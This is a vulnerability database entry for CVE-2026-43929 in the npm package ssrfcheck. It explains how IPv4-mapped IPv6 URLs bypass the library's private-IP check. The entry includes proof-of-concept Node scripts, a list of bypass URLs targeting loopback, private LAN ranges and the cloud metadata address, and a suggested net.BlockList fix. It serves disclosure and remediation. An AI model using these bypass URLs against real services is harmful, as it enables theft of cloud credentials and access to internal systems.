ssrfcheck CVE-2026-43929
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
ssrfcheck v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input - all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.
---
Details
Vulnerable file: src/is-private-ip.js
The library detects IPv6 private addresses using the privIp6() function. The relevant portion:
// src/is-private-ip.js (lines ~40-60 of the published source)
function privIp6 (ip) {
return /^::$/.test(ip) ||
/^::1$/.test(ip) ||
/^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
/^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
/^64:ff9b::([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
// ... more patterns, all expect dot-notation ...
}The third line is the IPv4-mapped IPv6 check. It expects input in the form ::ffff:127.0.0.1 (dots). However, the IP is extracted from the URL using url.hostname, which goes through the WHATWG URL parser first.
How WHATWG URL normalizes the address (src/parse-url.js):
const url = new URL(normalizeURLStr(input)); // WHATWG URL parser runs here
const ipcheck = trimBrackets(url.hostname); // e.g. '::ffff:7f00:1' ← hex, no dots
const ipVersion = isIP(ipcheck); // returns 6The WHATWG URL spec (§5.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:
127.0.0.1 → 0x7f000001 → [0x7f00, 0x0001] → serialized as 7f00:1
169.254.169.254 → 0xa9fea9fe → [0xa9fe, 0xa9fe] → serialized as a9fe:a9fe
192.168.1.1 → 0xc0a80101 → [0xc0a8, 0x0101] → serialized as c0a8:101So by the time the regex /^::f{4}:(\d+)\.(\d+)\.(\d+)\.(\d+)$/ runs, the string it receives is ::ffff:7f00:1 - no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).
Entry point (src/index.js):
if (hostIsIp && (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {
return false; // ← never reached for IPv4-mapped IPv6
}
return true; // ← always reached → BYPASS---
PoC
Environment: Node.js >= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required - default options are vulnerable.
Setup:
mkdir ssrfcheck-poc && cd ssrfcheck-poc
npm init -y
npm install ssrfcheckStep 1 - confirm WHATWG URL normalization:
node << 'EOF'
const addrs = [
['127.0.0.1', 'loopback'],
['169.254.169.254', 'AWS/GCP/Azure metadata'],
['192.168.1.1', 'private LAN'],
['10.0.0.1', '10.x range'],
];
for (const [ip, label] of addrs) {
const h = new URL('http://[::ffff:' + ip + ']/').hostname;
console.log(label + ' -> ' + h);
}
EOFExpected output - confirms WHATWG drops dots:
loopback -> [::ffff:7f00:1]
AWS/GCP/Azure metadata -> [::ffff:a9fe:a9fe]
private LAN -> [::ffff:c0a8:101]
10.x range -> [::ffff:a00:1]Step 2 - trigger the bypass:
node << 'EOF'
const { isSSRFSafeURL } = require('ssrfcheck');
const bypasses = [
'http://[::ffff:127.0.0.1]/',
'http://[::ffff:169.254.169.254]/',
'http://[::ffff:192.168.1.1]/',
'http://[::ffff:10.0.0.1]/',
'http://[::ffff:172.16.0.1]/',
'http://[::ffff:7f00:1]/',
'http://[0:0:0:0:0:ffff:127.0.0.1]/',
];
for (const url of bypasses) {
const result = isSSRFSafeURL(url);
console.log(result === true ? '[BYPASS]' : '[caught]', url, '->', result);
}
console.log('---');
const r1 = isSSRFSafeURL('http://127.0.0.1/');
const r2 = isSSRFSafeURL('http://192.168.1.1/');
const r3 = isSSRFSafeURL('http://[::1]/');
console.log('127.0.0.1 caught?', r1 === false);
console.log('192.168.1.1 caught?', r2 === false);
console.log('[::1] caught?', r3 === false);
EOFConfirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):
[BYPASS] http://[::ffff:127.0.0.1]/ -> true
[BYPASS] http://[::ffff:169.254.169.254]/ -> true
[BYPASS] http://[::ffff:192.168.1.1]/ -> true
[BYPASS] http://[::ffff:10.0.0.1]/ -> true
[BYPASS] http://[::ffff:172.16.0.1]/ -> true
[BYPASS] http://[::ffff:7f00:1]/ -> true
[BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/ -> true
---
127.0.0.1 caught? true
192.168.1.1 caught? true
[::1] caught? true7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path.
Full automated verification script (verify-ssrfcheck.js):
#!/usr/bin/node
// ssrfcheck bypass verification script
// Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization
const { isSSRFSafeURL } = require('ssrfcheck');
const RED = '\x1b[31m';
const GREEN = '\x1b[32m';
const CYAN = '\x1b[36m';
const DIM = '\x1b[2m';
const RESET = '\x1b[0m';
const BYPASSES = [
{ url: 'http://[::ffff:127.0.0.1]/', label: 'loopback (127.0.0.1)' },
{ url: 'http://[::ffff:169.254.169.254]/', label: 'AWS meta (169.254.169.254)' },
{ url: 'http://[::ffff:192.168.1.1]/', label: 'LAN (192.168.1.1)' },
{ url: 'http://[::ffff:10.0.0.1]/', label: '10.x range (10.0.0.1)' },
{ url: 'http://[::ffff:172.16.0.1]/', label: '172.16.x (172.16.0.1)' },
{ url: 'http://[::ffff:7f00:1]/', label: 'hex form (direct)' },
{ url: 'http://[0:0:0:0:0:ffff:127.0.0.1]/', label: 'expanded (0:0:0:0:0:ffff:127.0.0.1)' },
];
const BASELINE = [
{ url: 'http://127.0.0.1/', label: 'dotted loopback', expectFalse: true },
{ url: 'http://192.168.1.1/', label: 'private LAN', expectFalse: true },
{ url: 'http://[::1]/', label: 'IPv6 loopback', expectFalse: true },
{ url: 'https://example.com/', label: 'public domain', expectFalse: false },
];
console.log(`\n${CYAN}=== ssrfcheck v1.3.0 - bypass verification ===${RESET}`);
console.log(`${DIM}Node.js ${process.version}${RESET}\n`);
console.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`);
for (const { url } of BYPASSES) {
const parsed = new URL(url);
console.log(` ${url.padEnd(45)} -> hostname: ${parsed.hostname}`);
}
console.log(`\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`);
let bypassed = 0;
for (const { url, label } of BYPASSES) {
const result = isSSRFSafeURL(url);
if (result === true) bypassed++;
const tag = result === true
? `${RED}[BYPASS]${RESET}`
: `${GREEN}[caught]${RESET}`;
console.log(` ${tag} ${label.padEnd(30)} -> isSSRFSafeURL() = ${result}`);
}
console.log(`\n${CYAN}[STEP 3] Baseline checks${RESET}`);
for (const { url, label, expectFalse } of BASELINE) {
const result = isSSRFSafeURL(url);
const ok = (expectFalse ? result === false : result === true);
const tag = ok ? `${GREEN}[OK]${RESET} ` : `${RED}[FAIL]${RESET} `;
console.log(` ${tag} ${label.padEnd(20)} -> isSSRFSafeURL() = ${result}`);
}
console.log(`\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\n`);
process.exit(bypassed === BYPASSES.length ? 1 : 0);Run:
node verify-ssrfcheck.js
# exit code 1 = bypasses confirmed (vulnerable)
# exit code 0 = all caught (fixed)VIDEO POC ASCII CAST

--
Impact
Vulnerability type: Server-Side Request Forgery (SSRF) - complete protection bypass
Who is impacted: Any Node.js application that:
- Accepts a URL from an untrusted source (user input, API parameter, webhook payload)
- Uses
isSSRFSafeURL()fromssrfcheckto validate that URL before making an outbound HTTP request - Runs on Node.js >= 10 (WHATWG URL parser enabled - all supported versions as of 2026)
Concrete impact scenarios:
- Cloud metadata theft: On AWS, GCP, or Azure, attacker sends `http://[::ffff:169.254.169.254]/latest/metadat
- Internal network pivoting: Attacker reaches services on
10.x.x.x,172.16.x.x,192.168.x.xthat are not exposed to the internet, bypassing the only protection layer. - Localhost access: Attacker reaches
http://[::ffff:127.0.0.1]/adminor any service bound to loopback on the server.
The bypass requires no authentication, no special privileges, and no non-default configuration. It works against every version of ssrfcheck on every Node.js version >= 10.
Weaknesses
CWE-918 - Server-Side Request Forgery (SSRF) CWE-184 - Incomplete List of Disallowed Inputs
---
Suggested Fix
Replace the hand-rolled regex denylist in src/is-private-ip.js with Node's built-in net.BlockList, which operates on parsed IP values and is immune to string representation differences:
- function privIp6 (ip) {
- return /^::$/.test(ip) ||
- /^::1$/.test(ip) ||
- /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
- /^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
- ...
- }
+ const { BlockList } = require('net');
+
+ const _ipv6Block = new BlockList();
+ _ipv6Block.addAddress('::', 'ipv6'); // unspecified
+ _ipv6Block.addAddress('::1', 'ipv6'); // loopback
+ _ipv6Block.addSubnet('::ffff:0:0', 96, 'ipv6'); // ALL IPv4-mapped - catches any private IPv4 in any notation
+ _ipv6Block.addSubnet('64:ff9b::', 96, 'ipv6'); // NAT64
+ _ipv6Block.addSubnet('fc00::', 7, 'ipv6'); // ULA
+ _ipv6Block.addSubnet('fe80::', 10, 'ipv6'); // link-local
+ _ipv6Block.addSubnet('ff00::', 8, 'ipv6'); // multicast
+ _ipv6Block.addSubnet('100::', 64, 'ipv6'); // IETF reserved
+ _ipv6Block.addSubnet('2001::', 32, 'ipv6'); // Teredo
+ _ipv6Block.addSubnet('2001:db8::', 32, 'ipv6'); // documentation
+ _ipv6Block.addSubnet('2002::', 16, 'ipv6'); // 6to4
+
+ function privIp6(ip) {
+ try { return _ipv6Block.check(ip, 'ipv6'); }
+ catch { return false; }
+ }The ::ffff:0:0/96 subnet entry covers the entire IPv4-mapped IPv6 space in a single rule. BlockList.check() parses the IP numerically, so it is unaffected by WHATWG URL normalization or any other string representation.
AnalysisAI
Complete SSRF protection bypass in ssrfcheck allows remote attackers to reach all private IPv4 ranges including cloud metadata endpoints (169.254.169.254) by encoding targets as IPv4-mapped IPv6 addresses (e.g., http://[::ffff:127.0.0.1]/). Node.js WHATWG URL parser normalizes these addresses to compressed hex form before the library's dot-notation-only regex executes, rendering all private IP checks ineffective. EPSS score unavailable for this recent CVE (2026), but the attack requires no authentication (PR:N), has low complexity (AC:L), and affects the latest version (1.3.0) with no vendor-released patch identified at time of analysis. Publicly available exploit code exists with complete proof-of-concept and automated verification scripts confirmed on Node.js v20.20.2.
Technical ContextAI
The vulnerability resides in the regex-based IP filtering logic within src/is-private-ip.js that attempts to identify IPv4-mapped IPv6 addresses (::ffff:x.x.x.x format). Node.js versions 10+ use the WHATWG URL Standard parser, which implements RFC 3986 IPv6 serialization rules that automatically convert embedded IPv4 octets to two 16-bit hexadecimal groups. For example, ::ffff:127.0.0.1 becomes ::ffff:7f00:1 before reaching the validation layer. The library's privIp6() function uses hardcoded regex patterns expecting dot-decimal notation (e.g., /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/), which can never match the normalized hex output from url.hostname. This represents CWE-184 (Incomplete List of Disallowed Inputs) combined with CWE-918 (SSRF) - the denial list was designed without considering parser normalization behavior. The affected package (pkg:npm/ssrfcheck <= 1.3.0) is a dedicated anti-SSRF validation library, meaning applications relying on isSSRFSafeURL() as their sole SSRF defense are completely unprotected against this encoding technique.
RemediationAI
No vendor-released patch exists for ssrfcheck at time of analysis (version 1.3.0 remains latest in npm registry). Immediate compensating control: replace ssrfcheck dependency with Node.js built-in net.BlockList API (available in Node.js 15.0.0+, backported to 14.18.0). Migration code template: const { BlockList } = require('net'); const blockList = new BlockList(); blockList.addSubnet('::ffff:0:0', 96, 'ipv6'); blockList.addSubnet('127.0.0.0', 8); blockList.addSubnet('10.0.0.0', 8); blockList.addSubnet('172.16.0.0', 12); blockList.addSubnet('192.168.0.0', 16); blockList.addSubnet('169.254.0.0', 16); then validate with blockList.check(parsedURL.hostname). This approach operates on parsed IP values rather than string representations, immune to normalization bypasses. Alternative for Node.js < 14.18: implement private-range checks using ipaddr.js library (npm install ipaddr.js) which correctly handles IPv4-mapped IPv6. For applications unable to refactor immediately, apply defense-in-depth: restrict outbound network egress at firewall/security-group level to block RFC 1918 ranges and 169.254.0.0/16, though this does not protect against localhost exploitation. Advisory URL: https://github.com/felippe-regazio/ssrfcheck/security/advisories/GHSA-j4rj-2jr5-m439. GitHub issue tracker shows no timeline for official patch; organizations should plan for permanent migration rather than waiting for upstream fix.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same weakness CWE-184 – Incomplete List of Disallowed Inputs
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-j4rj-2jr5-m439